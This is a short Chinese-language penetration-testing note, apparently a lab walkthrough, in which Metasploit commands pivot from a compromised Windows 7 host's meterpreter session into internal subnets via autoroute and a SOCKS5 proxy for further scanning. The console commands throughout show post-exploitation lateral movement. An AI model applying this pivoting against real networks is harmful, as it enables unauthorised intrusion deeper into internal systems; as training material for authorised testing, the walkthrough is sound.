ok
添加路由,并设置msf代理转发,arp获取到内网同网段IP
在添加路由之后,需要设置代理,对内网的机器进行扫描和漏洞探测。
use auxiliary/server/socks在这里一共有两个大模块,一个是auxiliary/server/socks_proxy,包含socks4a和socks5,auxiliary/server/socks_unc,包含socks_unc,据说有时候socks5的代理不是很稳定。
meterpreter > bg
Backgrounding session 1...msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > use post/multi/manage/autoroute//添加路由msf6 post(multi/manage/autoroute) > set session 1session => 1msf6 post(multi/manage/autoroute) > run[!] SESSION may not be compatible with this module.
Running module against WIN7-PC
Searching for subnets to autoroute.[+] Route added to subnet 10.0.0.0/255.255.0.0 from host's routing table.[+] Route added to subnet 192.168.0.0/255.255.255.0 from host's routing table.
Post module execution completedmsf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy//使用socks5代理msf6 auxiliary(server/socks_proxy) > optinos[-] Unknown command: optinos.msf6 auxiliary(server/socks_proxy) > optionsModule options (auxiliary/server/socks_proxy): Name Current Setting Required Description---- --------------- -------- ----------- PASSWORD no Proxy password for SOCKS5 listener SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on USERNAME no Proxy username for SOCKS5 listener VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)Auxiliary action: Name Description---- ----------- Proxy Run a SOCKS proxy servermsf6 auxiliary(server/socks_proxy) > run
Auxiliary module running as background job 0.msf6 auxiliary(server/socks_proxy) >
Starting the SOCKS proxy servermsf6 auxiliary(server/socks_proxy) > sessions -i 1